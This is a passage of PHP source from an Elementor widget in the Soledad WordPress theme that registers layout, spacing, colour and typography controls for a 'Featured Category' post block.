				'(tablet+){{WRAPPER}} .home-featured-cat-content.style-6 .cat-right .mag-post-box'                                                                                    => 'width:calc(50% - calc({{SIZE}}{{UNIT}} / 2) );margin-right:{{SIZE}}{{UNIT}}',
				'(tablet+){{WRAPPER}} .home-featured-cat-content.style-6 .cat-right .mag-post-box:nth-child(2n+2)'                                                                    => 'margin-right:0',
			),
			'label_block'    => true,
			'condition'      => [
				'penci_style!' => [
					'style-2',
					'style-3',
					'style-4',
					'style-8',
					'style-11',
					'style-14',
				]
			],
		) );

		$this->add_responsive_control( 'simgwidth', array(
			'label'     => __( 'Custom Image Width for Small Posts', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 300, 'step' => 1 ) ),
			'selectors' => array(
				'{{WRAPPER}} .home-featured-cat-content .penci-image-holder.small-fix-size' => 'width: {{SIZE}}px;',
			),
			'condition' => array(
				'penci_style' => array(
					'style-1',
					'style-2',
					'style-6',
					'style-9',
					'style-10',
					'style-15'
				)
			),
		) );

		$this->add_responsive_control( 'penci_columns', array(
			'label'          => __( 'Columns', 'soledad' ),
			'type'           => Controls_Manager::SELECT,
			'default'        => '',
			'tablet_default' => '1',
			'mobile_default' => '1',
			'options'        => array(
				''  => 'Default',
				'1' => '1',
				'2' => '2',
				'3' => '3',
				'4' => '4',
				'5' => '5',
				'6' => '6',
			),
			'condition'      => array( 'penci_style' => array( 'style-3', 'style-11' ) ),
		) );

		$this->add_control( 'penci_column_gap', array(
			'label'     => __( 'Columns Gap', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-featured-cat-sc:not( .penci-featured-cat-ctcol ) .home-featured-cat-content'            => 'width: calc(100% + {{SIZE}}{{UNIT}});margin-left: calc(-{{SIZE}}{{UNIT}}/2); margin-right: calc(-{{SIZE}}{{UNIT}}/2)',
				'{{WRAPPER}} .penci-featured-cat-sc:not( .penci-featured-cat-ctcol ) .home-featured-cat-content .mag-photo' => 'padding-left: calc({{SIZE}}{{UNIT}}/2); padding-right: calc({{SIZE}}{{UNIT}}/2)',
				'{{WRAPPER}} .penci-featured-cat-ctcol .home-featured-cat-content'                                          => 'grid-column-gap: {{SIZE}}{{UNIT}}'
			),
			'condition' => array( 'penci_style' => array( 'style-3', 'style-11' ) ),
		) );

		$this->add_control( 'penci_row_gap', array(
			'label'              => __( 'Rows Gap', 'soledad' ),
			'type'               => Controls_Manager::SLIDER,
			'range'              => array( 'px' => array( 'min' => 0, 'max' => 200 ) ),
			'frontend_available' => true,
			'selectors'          => array(
				'{{WRAPPER}} .mag-cat-style-8 .penci-grid'                                                                  => 'row-gap: 0',
				'{{WRAPPER}} .penci-featured-cat-sc:not( .penci-featured-cat-ctcol ) .home-featured-cat-content .mag-photo' => 'margin-bottom: {{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .penci-featured-cat-ctcol .home-featured-cat-content'                                          => 'grid-row-gap: {{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .mag-cat-style-8 .penci-grid li.list-post:not(:last-child)'                                    => 'padding-bottom: calc({{SIZE}}{{UNIT}}/2); margin-bottom: calc({{SIZE}}{{UNIT}}/2)',
			),
			'condition'          => array(
				'penci_style' => array(
					'style-3',
					'style-8',
					'style-11',
				)
			),
		) );

		$this->add_control( 'penci_featimg_size', array(
			'label'                => __( 'Image Size Type', 'soledad' ),
			'type'                 => Controls_Manager::SELECT,
			'default'              => '',
			'options'              => array(
				''           => esc_html__( 'Default', 'soledad' ),
				'horizontal' => esc_html__( 'Horizontal Size', 'soledad' ),
				'square'     => esc_html__( 'Square Size', 'soledad' ),
				'vertical'   => esc_html__( 'Vertical Size', 'soledad' ),
				'custom'     => esc_html__( 'Custom', 'soledad' ),
			),
			'selectors'            => array( '{{WRAPPER}} .penci-image-holder:before' => '{{VALUE}}', ),
			'selectors_dictionary' => array(
				'horizontal' => 'padding-top: 66.6667%;',
				'square'     => 'padding-top: 100%;',
				'vertical'   => 'padding-top: 135.4%;',
			)
		) );
		$this->add_responsive_control( 'penci_featimg_ratio', array(
			'label'          => __( 'Image Ratio', 'soledad' ),
			'type'           => Controls_Manager::SLIDER,
			'default'        => array( 'size' => 0.66 ),
			'tablet_default' => array( 'size' => '' ),
			'mobile_default' => array( 'size' => 0.5 ),
			'range'          => array( 'px' => array( 'min' => 0.1, 'max' => 2, 'step' => 0.01 ) ),
			'selectors'      => array(
				'{{WRAPPER}} .penci-image-holder:before' => 'padding-top: calc( {{SIZE}} * 100% );',
			),
			'condition'      => array( 'penci_featimg_size' => 'custom' ),
		) );
		$this->add_control( 'thumb_size', array(
			'label'     => __( 'Custom Image size', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => $this->get_list_image_sizes( true ),
			'condition' => array( 'penci_featimg_size' => 'custom' ),
		) );

		$this->add_control( 'big_title_length', array(
			'label'       => __( 'Custom Words Length for Post Titles for Big Posts', 'soledad' ),
			'type'        => Controls_Manager::NUMBER,
			'label_block' => true,
			'default'     => '',
		) );
		$this->add_control( '_title_length', array(
			'label'       => __( 'Custom Words Length for Post Titles', 'soledad' ),
			'type'        => Controls_Manager::NUMBER,
			'label_block' => true,
			'default'     => '',
		) );

		$this->add_control( 'remove_dot', array(
			'label'     => __( 'Remove Dot Before The Post Title', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'condition' => array( 'penci_style' => array( 'style-14' ) ),
			'selectors' => array(
				'{{WRAPPER}} .home-featured-cat-content.style-14 .magcat-padding'        => 'padding: 0;',
				'{{WRAPPER}} .home-featured-cat-content.style-14 .magcat-padding:before' => 'content: none; display: none;',
			),
		) );

		$featured_cat_opts = array(
			'enable_meta_overlay' => array(
				'label' => 'Enable Post Meta Overlay Featured Image',
				'desc'  => 'This option just apply for or Featured Category Style 7'
			),
			'hide_author'         => array( 'label' => 'Hide Post Author', 'desc' => '' ),
			'show_author_sposts'  => array( 'label' => 'Show Post Author on Small Posts', 'desc' => '' ),
			'hide_cat'            => array(
				'label' => 'Hide Category',
				'desc'  => 'This option just apply for or Featured Category Style 8'
			),
			'hide_icon_format'    => array( 'label' => 'Hide Icon Post Format', 'desc' => '' ),
			'hide_date'           => array( 'label' => 'Hide Post Date', 'desc' => '' ),
			'show_commentcount'   => array( 'label' => 'Show Comment Count', 'desc' => '' ),
			'show_viewscount'     => array( 'label' => 'Show Views Count', 'desc' => '' ),
			'hide_readtime'       => array( 'label' => 'Hide Reading Time', 'desc' => '' ),
			'hide_excerpt'        => array( 'label' => 'Hide Post Excerpt', 'desc' => '' ),
			'hide_excerpt_line'   => array( 'label' => 'Remove Line Above Post Excerpt', 'desc' => '' ),
		);

		foreach ( $featured_cat_opts as $featured_cat_key => $featured_cat_opt ) {
			$this->add_control( $featured_cat_key, array(
				'label'       => $featured_cat_opt['label'],
				'type'        => Controls_Manager::SWITCHER,
				'description' => $featured_cat_opt['desc'],
			) );
		}

		$this->add_control( 'cat_rmborder_bottom', array(
			'label'     => __( 'Remove Borders on Post Items', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'selectors' => array(
				'{{WRAPPER}} .home-featured-cat-content .mag-post-box, {{WRAPPER}} .home-featured-cat-content.style-8 .penci-grid li.list-post'                     => 'border: none !important;',
				'{{WRAPPER}} .home-featured-cat-content .mag-post-box:not(:last-child)'                                                                             => 'margin-bottom: 20px; padding-bottom: 0;',
				'{{WRAPPER}} .home-featured-cat-content.style-2 .mag-post-box.first-post, {{WRAPPER}} .home-featured-cat-content.style-10 .mag-post-box.first-post' => 'padding-bottom: 0;',
				'{{WRAPPER}} .home-featured-cat-content.style-14 .mag-post-box, {{WRAPPER}} .home-featured-cat-content.style-14 .mag-post-box'                      => 'padding-bottom: 0; margin-bottom: 20px;',
			),
		) );

		$this->add_control( '_excerpt_length', array(
			'label'     => __( 'Custom Excerpt Length', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'condition' => array(
				'hide_excerpt!' => 'yes',
				'penci_style'   => array(
					'style-1',
					'style-2',
					'style-6',
					'style-7',
					'style-8',
					'style-10'
				)
			),
		) );

		$this->add_control( 'cat_autoplay', array(
			'label'     => __( 'Disable Autoplay on the Slider', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'condition' => array( 'penci_style' => array( 'style-4', 'style-5', 'style-12' ) ),
		) );

		// Enable view all button
		$this->add_control( 'cat_seemore', array(
			'label'     => __( 'Enable "View All" Button', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'separator' => 'before',
		) );
		$this->add_control( 'cat_view_link', array(
			'label'       => __( 'Custom Link for "View All" Button', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'placeholder' => __( 'https://your-link.com', 'soledad' ),
			'condition'   => array( 'cat_seemore' => 'yes' ),
			'label_block' => true,
		) );

		$this->add_control( 'cat_remove_arrow', array(
			'label'     => __( 'Remove arrow on "View All"', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'condition' => array( 'cat_seemore' => 'yes' ),
		) );
		$this->add_control( 'cat_readmore_button', array(
			'label'     => __( 'Make "View All" is A Button', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'condition' => array( 'cat_seemore' => 'yes' ),
		) );
		$this->add_control( 'cat_readmore_align', array(
			'label'       => __( 'Align "View All" Button', 'soledad' ),
			'type'        => Controls_Manager::CHOOSE,
			'options'     => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left'
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center'
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right'
				),
			),
			'default'     => 'left',
			'label_block' => true,
			'condition'   => array( 'cat_seemore' => 'yes' ),
		) );
		$this->add_responsive_control( 'cat_readmore_martop', array(
			'label'       => __( 'Custom Margin Top for "View All" Button', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .penci-featured-cat-seemore' => 'margin-top: {{SIZE}}{{UNIT}} !important'
			),
			'condition'   => array( 'cat_seemore' => 'yes' ),
			'label_block' => true,
		) );


		$this->end_controls_section();

		// Post Spacing
		$this->start_controls_section( 'section_design_spacing', array(
			'label' => __( 'Elements Spacing', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_responsive_control( 'spacing_thumb', array(
			'label'       => __( 'Thumbnail Spacing', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'body:not(.rtl) {{WRAPPER}} .home-featured-cat-content .mag-post-box:not(.first-post) .magcat-thumb'   => 'margin-right: {{SIZE}}{{UNIT}}',
				'body.rtl {{WRAPPER}} .home-featured-cat-content .mag-post-box:not(.first-post) .magcat-thumb'         => 'margin-left: {{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .penci-grid li .item > .thumbnail, {{WRAPPER}} .penci-masonry .item-masonry > .thumbnail' => 'margin-bottom: {{SIZE}}{{UNIT}}',
			),
			'label_block' => true,
		) );
		$this->add_responsive_control( 'spacing_title', array(
			'label'       => __( 'Title Spacing', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .home-featured-cat-content .magcat-titlte.entry-title,{{WRAPPER}} .grid-title' => 'margin-bottom: {{SIZE}}{{UNIT}}'
			),
			'label_block' => true,
		) );
		$this->add_responsive_control( 'spacing_gheader', array(
			'label'       => __( 'Header Group Spacing', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .grid-header-box' => 'padding-bottom: {{SIZE}}{{UNIT}}'
			),
			'label_block' => true,
		) );
		$this->add_responsive_control( 'spacing_meta', array(
			'label'       => __( 'Meta Spacing', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .home-featured-cat-content .magcat-detail .mag-meta,{{WRAPPER}} .grid-post-box-meta,{{WRAPPER}} .grid-post-box-meta' => 'margin-top: {{SIZE}}{{UNIT}}'
			),
			'label_block' => true,
		) );
		$this->add_responsive_control( 'spacing_content', array(
			'label'       => __( 'Content/Excerpt Spacing', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .item-content.entry-content' => 'margin-top: {{SIZE}}{{UNIT}}'
			),
			'condition'   => [ 'penci_style' => [ 'style-7' ] ],
			'label_block' => true,
		) );

		$this->add_responsive_control( 'bspacing_heading_text', array(
			'label'     => __( 'Spacing for Big Post', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => [
				'penci_style!' => [
					'style-3',
					'style-4',
					'style-5',
					'style-7',
					'style-8',
					'style-9',
					'style-11',
					'style-12',
					'style-13',
				]
			],
		) );

		$this->add_responsive_control( 'bspacing_btom', array(
			'label'       => __( 'Big Post Spacing to Bottom', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .home-featured-cat-content .cat-left,{{WRAPPER}} .home-featured-cat-content.style-6 .cat-left,{{WRAPPER}} .home-featured-cat-content.style-2 .mag-post-box.first-post,{{WRAPPER}} .home-featured-cat-content.style-10 .mag-post-box.first-post,{{WRAPPER}} .home-featured-cat-content.style-14 .mag-post-box.first-post' => 'margin-bottom: {{SIZE}}{{UNIT}}',
			),
			'label_block' => true,
			'condition'   => [
				'penci_style' => [
					'style-1',
					'style-2',
					'style-6',
					'style-10',
					'style-14',
				]
			],
		) );

		$this->add_responsive_control( 'bspacing_thumb', array(
			'label'       => __( 'Thumbnail Spacing', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .home-featured-cat-content:not(.style-6) .mag-post-box.first-post .magcat-thumb'                   => 'margin-bottom: {{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .penci-featured-cat-sc .home-featured-cat-content.style-6 .mag-post-box.first-post .magcat-detail' => 'padding-left: {{SIZE}}{{UNIT}}'
			),
			'label_block' => true,
			'condition'   => [
				'penci_style!' => [
					'style-3',
					'style-4',
					'style-5',
					'style-7',
					'style-8',
					'style-9',
					'style-11',
					'style-12',
					'style-13',
				]
			],
		) );
		$this->add_responsive_control( 'bspacing_title', array(
			'label'       => __( 'Title Spacing', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .home-featured-cat-content .first-post .magcat-detail .mag-header .magcat-titlte.entry-title' => 'margin-bottom: {{SIZE}}{{UNIT}}'
			),
			'label_block' => true,
			'condition'   => [
				'penci_style!' => [
					'style-3',
					'style-4',
					'style-5',
					'style-7',
					'style-8',
					'style-9',
					'style-11',
					'style-12',
					'style-13',
				]
			],
		) );
		$this->add_responsive_control( 'bspacing_meta', array(
			'label'       => __( 'Meta Spacing', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .home-featured-cat-content .first-post .magcat-detail .mag-meta' => 'margin-top: {{SIZE}}{{UNIT}}'
			),
			'label_block' => true,
			'condition'   => [
				'penci_style!' => [
					'style-3',
					'style-4',
					'style-5',
					'style-7',
					'style-8',
					'style-9',
					'style-11',
					'style-12',
					'style-13',
				]
			],
		) );
		$this->add_responsive_control( 'bspacing_hgroup', array(
			'label'       => __( 'Header Group Spacing Top', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .home-featured-cat-content .first-post .magcat-detail .mag-header' => 'padding-bottom: {{SIZE}}{{UNIT}};'
			),
			'label_block' => true,
			'condition'   => [
				'penci_style!' => [
					'style-3',
					'style-4',
					'style-5',
					'style-7',
					'style-8',
					'style-9',
					'style-11',
					'style-12',
					'style-13',
				]
			],
		) );
		$this->add_responsive_control( 'bspacing_hgroup_b', array(
			'label'       => __( 'Header Group Spacing Bottom', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .home-featured-cat-content .first-post .magcat-detail .mag-header' => 'margin-bottom: {{SIZE}}{{UNIT}};'
			),
			'label_block' => true,
			'condition'   => [
				'penci_style!' => [
					'style-3',
					'style-4',
					'style-5',
					'style-7',
					'style-8',
					'style-9',
					'style-11',
					'style-12',
					'style-13',
				]
			],
		) );
		$this->add_responsive_control( 'bspacing_content', array(
			'label'       => __( 'Post Excerpt/Content Spacing', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .home-featured-cat-content .first-post .magcat-detail .mag-excerpt' => 'margin-top: {{SIZE}}{{UNIT}};'
			),
			'label_block' => true,
			'condition'   => [
				'penci_style!' => [
					'style-3',
					'style-4',
					'style-5',
					'style-7',
					'style-8',
					'style-9',
					'style-11',
					'style-12',
					'style-13',
				]
			],
		) );

		$this->end_controls_section();

		$this->register_block_title_ajax_filter( true );

		$this->register_block_title_section_controls_post();

		// Design
		$this->start_controls_section( 'section_design_general', array(
			'label' => __( 'Featured Cat', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );
		$this->add_control( 'wrapborder_color', array(
			'label'     => __( 'Wrapper Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .home-featured-cat-content.style-15' => 'border-color: {{VALUE}};' ),
			'condition' => array( 'penci_style' => array( 'style-15' ) ),
		) );

		$this->add_responsive_control( 'padding_around', array(
			'label'      => __( 'Add Padding Around Post Items', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .home-featured-cat-content .mag-post-box, {{WRAPPER}} .style-5 .magcat-thumb, {{WRAPPER}} .style-12 .magcat-thumb' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}} !important; border: 1px solid var(--pcborder-cl);'
			),
			'condition'  => [
				'penci_style!' => [
					'style-3',
					'style-4',
					'style-7',
					'style-8',
					'style-11',
					'style-13',
				]
			],
		) );

		$this->add_responsive_control( 'borders_around', array(
			'label'      => __( 'Borders Width Around Post Items', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .home-featured-cat-content .mag-post-box, {{WRAPPER}} .style-5 .magcat-thumb, {{WRAPPER}} .style-12 .magcat-thumb' => 'border-style: solid; border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}} !important;'
			),
			'condition'  => [
				'penci_style!' => [
					'style-3',
					'style-4',
					'style-7',
					'style-8',
					'style-11',
					'style-13',
				]
			],
		) );

		$this->add_control( 'pbg_around', array(
			'label'     => __( 'Add Background Color for Post Items?', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( 'body:not(.pcdm-enable) {{WRAPPER}} .home-featured-cat-content .mag-post-box, body:not(.pcdm-enable) {{WRAPPER}} .style-5 .magcat-thumb, {{WRAPPER}} .style-12 .magcat-thumb' => 'background-color: {{VALUE}};' ),
			'condition' => [
				'penci_style!' => [
					'style-3',
					'style-4',
					'style-7',
					'style-8',
					'style-11',
					'style-13',
				]
			],
		) );

		$this->add_control( 'pborder_color', array(
			'label'     => __( 'Post Items Borders Color ', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .home-featured-cat-content .mag-post-box,{{WRAPPER}} .penci-grid li.list-post, {{WRAPPER}} .style-5 .magcat-thumb, {{WRAPPER}} .style-12 .magcat-thumb' => 'border-color: {{VALUE}};' ),
		) );

		// Post title
		$this->add_control( 'heading_ptittle_settings', array(
			'label'     => __( 'Posts Title', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_control( 'ptitle_color', array(
			'label'     => __( 'Post Title Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .penci-grid li .item h2 a'                                  => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-masonry .item-masonry h2 a'                          => 'color: {{VALUE}};',
				'{{WRAPPER}} .home-featured-cat-content .magcat-detail h3 a'             => 'color: {{VALUE}};',
				'{{WRAPPER}} .home-featured-cat-content.style-14 .magcat-padding:before' => 'border-color: {{VALUE}};',
			),
		) );
		$this->add_control( 'ptitle_hcolor', array(
			'label'     => __( 'Post Title Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .penci-grid li .item h2 a:hover'                      => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-masonry .item-masonry h2 a:hover'              => 'color: {{VALUE}};',
				'{{WRAPPER}} .home-featured-cat-content .magcat-detail h3 a:hover' => 'color: {{VALUE}};',
			),
		) );
		$this->add_control( 'bptitle_color', array(
			'label'     => __( 'Post Title Color of Big Post', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .home-featured-cat-content .first-post .magcat-detail h3 a' => 'color: {{VALUE}} !important;' ),
			'condition' => array( 'penci_style' => array( 'style-14', 'style-15' ) ),
		) );
		$this->add_control( 'bptitle_hcolor', array(
			'label'     => __( 'Post Title Hover Color of Big Post', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .home-featured-cat-content .first-post .magcat-detail h3 a:hover' => 'color: {{VALUE}} !important;' ),
			'condition' => array( 'penci_style' => array( 'style-14', 'style-15' ) ),
		) );
		$this->add_control( 'title_hcolor_effect', array(
			'label'     => __( 'Enable Hover Border Color', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'selectors' => array(
				'{{WRAPPER}} .entry-title a' 		=> 'background-image: linear-gradient(var(--pcaccent-cl) 0%, var(--pcaccent-cl) 98%);background-size: 0 1px;background-repeat: no-repeat;background-position: left 100%;word-break: break-word;transition: 0.3s all ease-in-out;',
				'{{WRAPPER}} .entry-title a:hover'  => 'background-size: 100% 1px;',
			),
		) );
		$this->add_control( 'title_hcolor_effect_color', array(
			'label'     => __( 'Hover Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .entry-title a' => 'background-image: linear-gradient({{VALUE}} 0%, {{VALUE}} 98%)' ),
			'condition' => array( 'title_hcolor_effect' => 'yes' ),
		) );
		$this->add_responsive_control( 'bptitle_fsize', array(
			'label'     => __( 'Font Size for Title of Big Post', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .home-featured-cat-content .first-post .magcat-detail h3 a' => 'font-size: {{SIZE}}px' ),
			'condition' => array(
				'penci_style' => array(
					'style-1',
					'style-2',
					'style-6',
					'style-10',
					'style-14',
					'style-15'
				)
			),
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'ptitle_typo',
			'selector' => '{{WRAPPER}} .home-featured-cat-content .magcat-detail h3 a,{{WRAPPER}} .penci-grid li .item h2 a,{{WRAPPER}} .penci-masonry .item-masonry h2 a',
		) );

		// Box Shadow
		$this->add_control( 'heading_featured_image_shadow', array(
			'label'     => __( 'Featured Image Shadow', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'featured_image_shadow_enable', array(
			'label' => __( 'Enable Shadow?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_responsive_control( 'featured_image_shadow', array(
			'label'     => __( 'Image Shadow', 'soledad' ),
			'type'      => Controls_Manager::BOX_SHADOW,
			'selectors' => [
				'{{WRAPPER}} .magcat-thumb' => 'box-shadow: {{HORIZONTAL}}px {{VERTICAL}}px {{BLUR}}px {{SPREAD}}px {{COLOR}} {{box_shadow_position.VALUE}};',
			],
			'condition' => [ 'featured_image_shadow_enable' => 'yes' ]
		) );

		// Post meta
		$this->add_control( 'heading_pmeta_settings', array(
			'label'     => __( 'Posts Meta', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_control( 'pmeta_color', array(
			'label'     => __( 'Post Meta Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .home-featured-cat-content .grid-post-box-meta span a'                => 'color: {{VALUE}};',
				'{{WRAPPER}} .home-featured-cat-content .grid-post-box-meta span'                  => 'color: {{VALUE}};',
				'{{WRAPPER}} .home-featured-cat-content .mag-photo .grid-post-box-meta span:after' => 'color: {{VALUE}};',
			),
		) );
		$this->add_control( 'pmeta_hcolor', array(
			'label'     => __( 'Post Meta Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .grid-post-box-meta span a.comment-link:hover' => 'color: {{VALUE}};',
				'{{WRAPPER}} .grid-post-box-meta span a:hover'              => 'color: {{VALUE}};',
			),
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'pmeta_typo',
			'selector' => '{{WRAPPER}} .home-featured-cat-content .grid-post-box-meta',
		) );
		// Post excrept
		$this->add_control( 'heading_pexcrept_settings', array(
			'label'     => __( 'Posts Excerpt', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_control( 'pexcerpt_color', array(
			'label'     => __( 'Post Excerpt Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .entry-content' => 'color: {{VALUE}};' ),
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'pexcerpt_typo',
			'selector' => '{{WRAPPER}} .entry-content,{{WRAPPER}} .entry-content p',
		) );

		// Post category
		$this->add_control( 'heading_pcat_settings', array(
			'label'     => __( 'Categories', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_control( 'pcat_color', array(
			'label'     => __( 'Categories Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .cat > a.penci-cat-name'       => 'color: {{VALUE}};',
				'{{WRAPPER}} .cat > a.penci-cat-name:after' => 'color: {{VALUE}};',
			),
		) );
		$this->add_control( 'pcat_hcolor', array(
			'label'     => __( 'Categories Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .cat > a.penci-cat-name:hover' => 'color: {{VALUE}};' ),
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'pcat_typo',
			'selector' => '{{WRAPPER}} .cat > a.penci-cat-name',
		) );

		// Button
		$this->add_control( 'heading_pbutton_settings', array(
			'label'     => __( 'View all" Button', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'cat_viewall_color', array(
			'label'     => __( 'Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .penci-featured-cat-seemore a,{{WRAPPER}} .penci-featured-cat-seemore.penci-btn-make-button a' => 'color: {{VALUE}};',
			),
			'condition' => array( 'cat_seemore' => 'yes' ),
		) );
		$this->add_control( 'cat_viewall_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .penci-featured-cat-seemore.penci-btn-make-button a' => 'background-color: {{VALUE}};',
			),
			'condition' => array( 'cat_seemore' => 'yes' ),
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'pviewall_typo',
			'selector' => '{{WRAPPER}} .penci-featured-cat-seemore a',
		) );

		// Dots Navigations

		$this->add_control( 'heading_pagi_style', array(
			'label'     => __( 'Dots Pagination', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array( 'penci_style' => array( 'style-4', 'style-5', 'style-12' ) ),
		) );

